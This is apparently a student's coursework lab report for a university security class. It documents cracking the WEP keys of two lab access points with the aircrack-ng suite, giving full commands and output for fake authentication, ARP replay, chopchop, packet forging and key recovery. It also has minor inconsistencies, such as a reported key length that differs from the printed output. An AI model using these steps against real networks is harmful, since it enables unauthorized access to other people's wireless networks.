

INFSCI 1600: Security and Privacy

Fall Semester 2021

Project 3 Part 2- Wifi Hacking

November 17, 2021

Jonathan Azcona

Section 1: Report on exploiting Rome AP

- 1.1 The bssid for Rome is **_B0:BE:76:08:BE:0C_** .
- 1.2 The channel for Rome is **_9_** .
- 1.3 The manufacturer of Rome is **_Tp-link technologies_** .
- 1.4 The HEX key (a.k.a. password) for Rome is **_12:34:56:78:90_** .
- 1.5 This attack took me/us **_5_** hours to perform.
- 1.6 Step-by-step documentation of how you performed the exploitation

The first step that I did was to set up everything and make sure that I was running the required adapter for this project. I ssh'd into my dedicated machine using the command “ssh root@13.13.13.50” After gaining access, I made sure that the machine had the required adapter to exploit the access points as shown in figure 1.

Figure 1: Required Adapter

```
root@kali:~# ssh root@13.13.13.50
root@13.13.13.50's password:
Permission denied, please try again.
root@13.13.13.50's password:
Linux user50 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 (2018-03-21) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Nov  9 21:28:23 2021 from 12.12.5.4
root@user50:~# airmon-ng

PHY      Interface      Driver      Chipset
phy0     wlan0mon       rt2800usb    Ralink Technology, Corp. RT5572
```

The second step that I did was to start the wlan0 and the command I typed was “airmon-ng start wlan0” as shown in figure 2. What I also did was to figure out if the access point of Rome was shown with the command “airodump-ng wlan0mon” also in figure 2.

Figure 2:

```
root@user50:~# airmon-ng start wlan0
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

PID Name
530 NetworkManager
597 wpa_supplicant
598 dhclient

PHY      Interface      Driver      Chipset
phy0     wlan0mon      rt2800usb    Ralink Technology, Corp. RT5572

root@user50:~# airodump-ng wlan0mon
```

To find the manufacturer of the Rome access point, I entered the command “airodump-ng wlan0mon --manufacturer”. The --manufacturer is a command to find the manufacturer of the shown access points. This is shown in figure 3.

```
root@user50:~# airodump-ng wlan0mon --manufacturer
```

Figure 3:

Unfortunately, the manufacturer for the Rome AP was unknown so I decided to look up the bssid onto a website I found that turns the bssid into a oui lookup website. I took the bssid of Rome and inserted that into the oui search onto the wireshark website, in figure 4.

Figure 4

Examples:

0000.0c
08:00:20
01-00-0C-CC-CC-CC
00d9.d110.21f9
01-23-45-67-89-AB-CD-EF
missouri

OUI search

B0:BE:76:08:BE:0C

Find

Results

B0:BE:76 Tp-Link Technologies Co.,Ltd.

I then tried to see if there were any connections onto Rome AP and to see if there were enough data packets to collect to crack the hex key in the access point. It turns out that after a while of letting it run, I couldn't find enough data. In figure 5 and 6. Figure 5 shows the amount of time I let the machine scan the network and figure 6 is after I typed in the command “aircrack-ng <filename>” in this case it was rome-01.cap.

Figure 5:

| CH 9][Elapsed: 7 hours 58 mins][2021-11-15 06:59 | | | | | | | | | | |
|--|-------------------|-----|---------|------------|--------|----|------|--------|------|-----------|
| BSSID | PWR | RXQ | Beacons | #Data, #/s | CH | MB | ENC | CIPHER | AUTH | ESSID |
| B0:BE:76:08:BE:0C | -35 | 100 | 276354 | 10863 | 0 | 9 | 54e. | WEP | WEP | OPEN Rome |
| BSSID STATION PWR Rate Lost Frames Probe | | | | | | | | | | |
| B0:BE:76:08:BE:0C | 9C:EF:D5:FB:D3:64 | -29 | 0 - 1 | 0 | 132054 | | | | | |
| B0:BE:76:08:BE:0C | 08:00:27:35:07:94 | -29 | 0 - 1 | 0 | 9819 | | | | | |

Figure 6:

A terminal window titled "Aircrack-ng 1.2 rc4". The output shows the progress of a key search:

```
Aircrack-ng 1.2 rc4

[00:00:05] Tested 165142 keys (got 10862 IVs)

KB      depth  byte(vote)
0      24/ 33  CC(13312) 02(13056) 18(13056) 29(13056) 5D(13056) 70(13056) 7B(13056)
1      2/  4   16(15104) 14(14336) 2D(14336) E5(14336) 1B(14080) 45(14080) 1A(13824)
2      13/ 14  1A(14080) 2E(13824) 4B(13824) 8A(13824) DA(13824) 47(13568) 59(13568)
3      14/  3   82(13568) 19(13312) 1C(13312) 5C(13312) CA(13312) 03(13056) 0F(13056)
4      8/  4    F5(14080) 16(13824) 81(13824) 8E(13824) 9B(13824) 30(13568) AB(13568)

Failed. Next try with 15000 IVs.
```

The next step was to figure out any other way that I can find this key. I then went onto the aircrack website and tried the steps for a simple wep crack. It turns out that the Rome AP did not have any connected clients and was losing packets. I then researched a way to create a fake connection to that AP. I found it on aircrack's website again with the commands as well. I went onto my system and typed in the command “aireplay-ng -1 6000 -o 1 -q 10 -e <access_point_name> -a <mac_address> -h <host_mac_address> wlan0mon”. Figure 7 shows this command.

Figure 7:

A terminal window showing the execution of the aireplay-ng command:

```
root@user62:~# aireplay-ng -1 6000 -o 1 -q 10 -e Rome -a B0:BE:76:08:BE:0c -h 9c:ef:d5:fb:d3:52 wlan0mon
22:02:15 Waiting for beacon frame (BSSID: B0:BE:76:08:BE:0C) on channel 9
22:02:15 Sending Authentication Request (Open System)
22:02:17 Sending Authentication Request (Open System) [ACK]
22:02:17 Authentication successful
22:02:17 Sending Association Request [ACK]
```

I then went ahead and tried an arp request replay attack onto the system with the command, “aireplay-ng -3 -b B0:BE:76:08:BE:0C -h 9c:ef:d5:fb:d3:52 wlan0mon”. Here this process sent out packets to the connection with that fake connection onto my host machine as shown in figure 8.

Figure 8:

A terminal window showing the execution of the aireplay-ng command for an ARP replay attack:

```
root@user62:~# aireplay-ng -3 -b B0:BE:76:08:BE:0C -h 9c:ef:d5:fb:d3:52 wlan0mon
22:02:55 Waiting for beacon frame (BSSID: B0:BE:76:08:BE:0C) on channel 9
Saving ARP requests in replay_arp-1116-220255.cap
You should also start airodump-ng to capture replies.
Read 1938 packets (got 140 ARP requests and 98 ACKs), sent 148 packets... (498 pp)
Read 2093 packets (got 198 ARP requests and 132 ACKs), sent 199 packets... (501 p)
Read 2227 packets (got 239 ARP requests and 173 ACKs), sent 249 packets... (500 p)
```

Next step was to look and see if my fake connection was connected to the Rome AP so I typed in the command “airodump-ng wlan0mon -ba -bssid <rome_mac_#> -c 9 -w Rome”. This command went ahead and saved any packets that went through. Figure 9 and 10 shows the captured packets.

Figure 9:

```
root@user62:~# airodump-ng wlan0mon -ba --bssid B0:BE:76:08:BE:0C -c 9 -w Rome
```

Figure 10:

```
Read 119413 packets (got 45735 ARP requests and 44531 ACKs), sent 54580 packets
Read 119505 packets (got 45773 ARP requests and 44569 ACKs), sent 54630 packets
CH : 9 ][ Elapsed: 1 min ][ 2021-11-16 22:06
BSSID          PWR  RXQ  Beacons  #Data, #/s  CH  MB  ENC  CIPHER AUTH E
B0:BE:76:08:BE:0C -35   96    918    36171  398     9  54e.  WEP  WEP   R
BSSID          STATION          PWR  Rate  Lost  Frames  Probe
B0:BE:76:08:BE:0C 9C:EF:D5:FB:D3:52    0   0 - 1   283  48023
B0:BE:76:08:BE:0C 9C:EF:D5:FB:D4:22   -1   1 - 0     0   19
B0:BE:76:08:BE:0C 14:91:82:DB:D3:A7  -27   0 - 1     7  5415
```

Once I had saved the captured packets, it was like project 3 part 1. I first decided to search for my recently captured file under the name of “Rome” in the root directory and I did find it. I then went ahead and cracked the cap file using the “aircrack-ng <file_name>” command as shown in figure 11. I then found the key to the Rome AP.

Figure 11:

```
root@user62:~# ls
Desktop Pictures Rome-01.cap salt2.txt
Documents Public Rome-01.csv salt3.txt
Downloads replay_arp-1116-220157.cap Rome-01.kismet.csv Templates
Music replay_arp-1116-220255.cap Rome-01.kismet.netxml Videos
names.txt rockyou-75.txt salt1.txt

root@user62:~# aircrack-ng Rome-01.cap
Opening Rome-01.cap
Read 1154866 packets.

# BSSID          ESSID           Encryption
22:18:37        Sending keep-alive packet [ACK]
22:18:37        Sending keep-alive packet [ACK]
22:18:37        1 B0:BE:76:08:BE:0C Rome   packet [ACK]      WEP (333271 IVs)
22:18:37        Sending keep-alive packet [ACK]
22:18:37        Choosing first network as target.
22:19:17        Sending keep-alive packet [ACK]
22:19:17        Opening Rome-01.cap
22:19:17        Attack will be restarted every 5000 captured ivs.
22:19:17        Starting PTW attack with 333271 ivs.
22:19:57        KEY FOUND! [ 12:34:56:78:90 ]
22:20:07        Decrypted correctly: 100%
```

1.7 A conclusion section discussing how easy/difficult your experience was

The second part of the project to find both the Miami and Rome aps were very hard compared to the first part. When finding the basic information for the APs such as the bssid, channel number, and manufacturer was pretty easy to find since that did not require a lot of knowledge to find. When it got to cracking the hex key and finding it, this is where the difficulty came. I read through the websites that the professor provided and also looked at the hints at first. I then tried create the fake authentication which was weird to understand along with the 3 ways to attack the access point. The first attack that I tried was the arp request attack and that did not work, next I tried the fragmentation attack and that did not work as well. This is where I started to look at other resources and to make sure that my addresses were the right addresses and the commands were typed right. I then got a breakthrough with the chopchop attack. I then learned from project 3 part 1 with taking time to gather the data. I let the program run and ran the various commands, packetforge along with aircrack. I then finally found the key. This was probably the hardest to find at first.

Section 2: Report on exploiting Miami AP

- 2.1 The bssid for Miami is _14:91:82:DB:D3:A7_.
- 2.2 The channel for Miami is _6_.
- 2.3 The manufacturer of Miami is _Belkin International_.
- 2.4 The HEX key (a.k.a. password) for Miami is _12:12:12:12:12_.
- 2.5 This attack took me/us _5_ hours to perform.
- 2.6 Step-by-step documentation of how you performed the exploitation

For the Miami AP, I took the same first steps to figure out the bssid, channel number, manufacturer in the terminal, and starting the system onto monitor mode. To find that I typed in the command “airodump-ng wlan0mon” to find Miami’s bssid and channel number shown in Figure 1. To find the manufacturer I typed in the command “”airodump-ng wlan0mon --manufacturer”. I then I took the bssid address and plugged it into wireshark to find the manufacturer in Figure 2.

Figure 1: airodump-ng

Figure 2:

OUI search

14:91:82:DB:D3:A7

Find

Results

14:91:82 Belkin International Inc.

I then decided to create a fake connection onto Miami’s ap since the entire project is based on cracking passwords with no connected clients. To do so, I typed in the command “aireplay-ng -1 6000 -o 1 -q 10 -e Miami -a 14:91:82:DB:D3:A7 -c 9C:EF:D5:FB:D2:DD wlan0mon”. In the figure 3 below, I changed the command from “-c” to “-h” because it did not accept the source MAC but it still worked before and after I changed the command.

Figure 3:

```
root@user17:~# aireplay-ng -1 6000 -o 1 -q 10 -e Miami -a 14:91:82:DB:D3:A7 -c 9  
c:ef:d5:fb:d2:dd wlan0mon  
No source MAC (-h) specified. Using the device MAC (9C:EF:D5:FB:D2:DD)  
11:37:10 Waiting for beacon frame (BSSID: 14:91:82:DB:D3:A7) on channel 6  
  
11:37:10 Sending Authentication Request (Open System)  
Dest. MAC = FF:FF:FF:FF:FF:FF  
11:37:12 Sending Authentication Request (Open System) [ACK]  
11:37:12 Authentication successful  
11:37:12 Sending Association Request [ACK]  
11:37:12 Association successful :-) (AID: 1)  
  
root@user62:~# aireplay-ng -1 6000 -o 1 -q 10 -e Rome -a B0:BE:76:08:BE:0c -h 9c:ef:d5:fb:d3:  
52 wlan0mon  
22:02:15 Waiting for beacon frame (BSSID: B0:BE:76:08:BE:0C) on channel 9  
  
22:02:15 Sending Authentication Request (Open System)  
22:02:17 Sending Authentication Request (Open System) [ACK]  
22:02:17 Authentication successful  
22:02:17 Sending Association Request [ACK]
```

Next up, I decided to follow the steps that I did on Rome's AP. I decided to make sure that my fake connection was up and running. I typed in the command “airodump-ng wlan0mon -ba --bssid 14:91:82:DB:D3:A7 -c 6 -w Miami”. I had also decided to save any data packets that went through as well shown in figure 4.

Figure 4

| CH 6][Elapsed: 34 mins][2021-11-17 12:09][resumed output | | | | | | | |
|--|-------------------|---------|---------|------------|-------|---------|-------------------|
| CH 6][Elapsed: 38 mins][2021-11-17 12:13][resumed output | | | | | | | |
| BSSID | PWR | RXQ | Beacons | #Data, #/s | CH | MB | ENC CIPHER AUTH E |
| 14:91:82:DB:D3:A7-47 | 57 | 21478 | 9726 | 6 | 6 | 54 | WEP WEP OPN M |
| BSSID | Off | STATION | PWR | Rate | Lost | Frames | Probe |
| 14:91:82:DB:D3:A7-47 | 9C:EF:D5:FB:D2:DD | 0 | 1 | 1 | 0 | 71276 | |
| 14:91:82:DB:D3:A7 | 9C:EF:D5:FC:0B:EB | 21 | 1 | 1 | 0 | 290 | |
| 14:91:82:DB:D3:A7 | 9C:EF:D5:FB:D3:3A | 19 | 1 | 1 | 13283 | 1031009 | |
| 14:91:82:DB:D3:A7 | 9C:EF:D5:FB:D3:64 | 19 | 5 | 1 | 0 | 2240 | |
| 14:91:82:DB:D3:A7 | 9C:EF:D5:FB:D3:64 | 19 | 5 | 1 | 0 | 2241 | |

After I knew it was connected, I decided to use the chopchop attack on Miami. To do the attack, I typed in the following command, “aireplay-ng -4 -b <Miami_mac#> -h <host_mac#> wlan0mon”. This then prompted a yes or no question whether or not I wanted to use the selected packet. I then typed in “Y” to confirm that I wanted to use the packet. It then proceeded to do the chopchop attack. Figure 6 shows the results of the chopchop attack.

Figure 5:

```
root@user17:~# aireplay-ng -4 -b 14:91:82:DB:D3:A7 -h 9C:EF:D5:FB:D2:DD wlan0mon
12:02:26 Waiting for beacon frame (BSSID: 14:91:82:DB:D3:A7) on channel 6

          STATION          PWR   Rate Lost    Frames Probe
Size: 68, FromDS: 0, ToDS: 1 (WEP)
B:D3:A7 9C:EF:D5:FB:D2:DD 0 1 - 1 5264 1226888
B:D3:A7 9C:EF:D5:FB:D2:DD 0 1 - 1 1265 1666516
B:D3:A7 9C:EF:D5:FB:D2:DD 0 1 - 1 0 3667
B:D3:A7 9C:EF:D5:FB:D2:DD 0 1 - 1 0 516

0x0000: 0841 3a01 1491 82db d3a7 9cef d5fb d33a .A:.....
0x0010: ffff ffff ffff c09d 04b7 b200 f142 deaf .....B..
0x0020: 8037 1f1b 6e98 7102 c585 b758 888c a5a8 .7..n.q....X...
0x0030: 86ce 09bf cbe2 6cbc c6f1 f446 a632 654a .....l....F.2eJ
0x0040: 2956 588f .....VX.

Use this packet ? Y

Saving chosen packet in replay_src-1117-120226.cap

Offset 67 ( 0% done) | xor = 63 | pt = EC | 91 frames written in 1548ms
Offset 66 ( 2% done) | xor = 87 | pt = DF | 674 frames written in 11440ms
Offset 65 ( 5% done) | xor = AA | pt = FC | 1392 frames written in 23672ms
Offset 64 ( 8% done) | xor = C2 | pt = EB | 83 frames written in 1409ms
```

Figure 6:

```
Offset 49 (52% done) | xor = 6D | pt = A3 | 810 frames written in 13745ms
Offset 48 (55% done) | xor = 55 | pt = D3 | 731 frames written in 12385ms
Offset 47 (58% done) | xor = 53 | pt = FB | 580 frames written in 9825ms
Offset 46 (61% done) | xor = 70 | pt = D5 | 256 frames written in 4330ms
Offset 45 (64% done) | xor = 63 | pt = EF | 1396 frames written in 23728ms
Offset 44 (67% done) | xor = 14 | pt = 9C | 758 frames written in 12863ms
Offset 43 (70% done) | xor = 59 | pt = 01 | 453 frames written in 7697ms
Offset 42 (73% done) | xor = B7 | pt = 00 | 2671 frames written in 45394ms
Offset 41 (76% done) | xor = 81 | pt = 04 | 424 frames written in 7191ms
Offset 40 (79% done) | xor = C3 | pt = 06 | 328 frames written in 5576ms
Offset 39 (82% done) | xor = 02 | pt = 00 | 396 frames written in 6710ms
Offset 38 (85% done) | xor = 79 | pt = 08 | 488 frames written in 8269ms
Offset 37 (88% done) | xor = 99 | pt = 01 | 1776 frames written in 30188ms
Offset 36 (91% done) | xor = 6E | pt = 00 | 4647 frames written in 78888ms
Offset 35 (94% done) | xor = 1D | pt = 06 | 232 frames written in 3939ms
Offset 34 (97% done) | xor = 17 | pt = 08 | 664 frames written in 11271ms

Saving plaintext in replay_dec-1117-120949.cap
Saving keystream in replay_dec-1117-120949.xor
Completed in 440s (0.07 bytes/s)

root@user17:~# packetforge-ng -0 -a 14:91:82:DB:D3:A7 -h 9C:EF:D5:FB:D2:DD -k 255.255.
255.255 -l 255.255.255.255 -y replay_dec-1117-120949.xor
```

Once packetforge command is done, I went to see my collected data that I gathered on my terminal. I then used the aircrack command to crack the cap file I gathered a while ago. To do it, I used the command, “aircrack-ng <filename>” in this case the file name I saved was Miami-02.cap and figure 7 shows this.

Figure 7.

```
root@user17:~# aircrack-ng Miami-02.cap
Opening Miami-02.cap
Read 5403074 packets.
# BSSID          ESSID           Encryption
1  14:91:82:DB:D3:A7  Miami           WEP (30891 IVs)

Choosing first network as target.
Opening Miami-02.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 30891 ivs.
KEY FOUND! [ 12:12:12:12:12:12 ]
Decrypted correctly: 100%
root@user17:~#
```

2.7 A conclusion section discussing how easy/difficult your experience was

To find this password for the Miami ap was kinda difficult but easier compared to the rome AP. I went through the same process that I did with Rome. I went through each machine and made sure that the adapter was connected and turned into monitor mode. Once that was done, I went through found the bssid, manufacturer, and channel number. Next up was to find a way to create that authenticated connection to the AP. I did so and next was to try to see if that connection was up and running. At first, it was connected but no packets were being sent. I think that makes sense because I did not type in any commands to inject the access point with at this point. After that, I decided to use aireplay-ng -4 to do so like the Rome AP. I went ahead and found the password the same way that I did with the Rome AP. Overall the project was very difficult because my machines kept disconnecting and that I had to restart everything from collecting files to cracking everything. It was frustrating to get through and then also my chopchop attack didn't work for the first few times I tried it. I eventually ran it enough times that it worked. I believe that this project was super hard to figure out and understand but once you crack one, then you could follow the same steps you did with the other APs.

Sources

<https://www.aircrack-ng.org/doku.php?id=airodump-ng>
https://www.aircrack-ng.org/doku.php?id=cracking_wpa
<https://www.wireshark.org/tools/oui-lookup.html>
https://beta.ivc.no/wiki/index.php/WEP_Cracking
https://www.aircrack-ng.org/doku.php?id=simple_wep_crack
https://www.aircrack-ng.org/doku.php?id=arp-request_reinjection
https://www.aircrack-ng.org/doku.php?id=how_to_crack_wep_with_no_clients
<https://www.aircrack-ng.org/doku.php?id=packetforge-ng>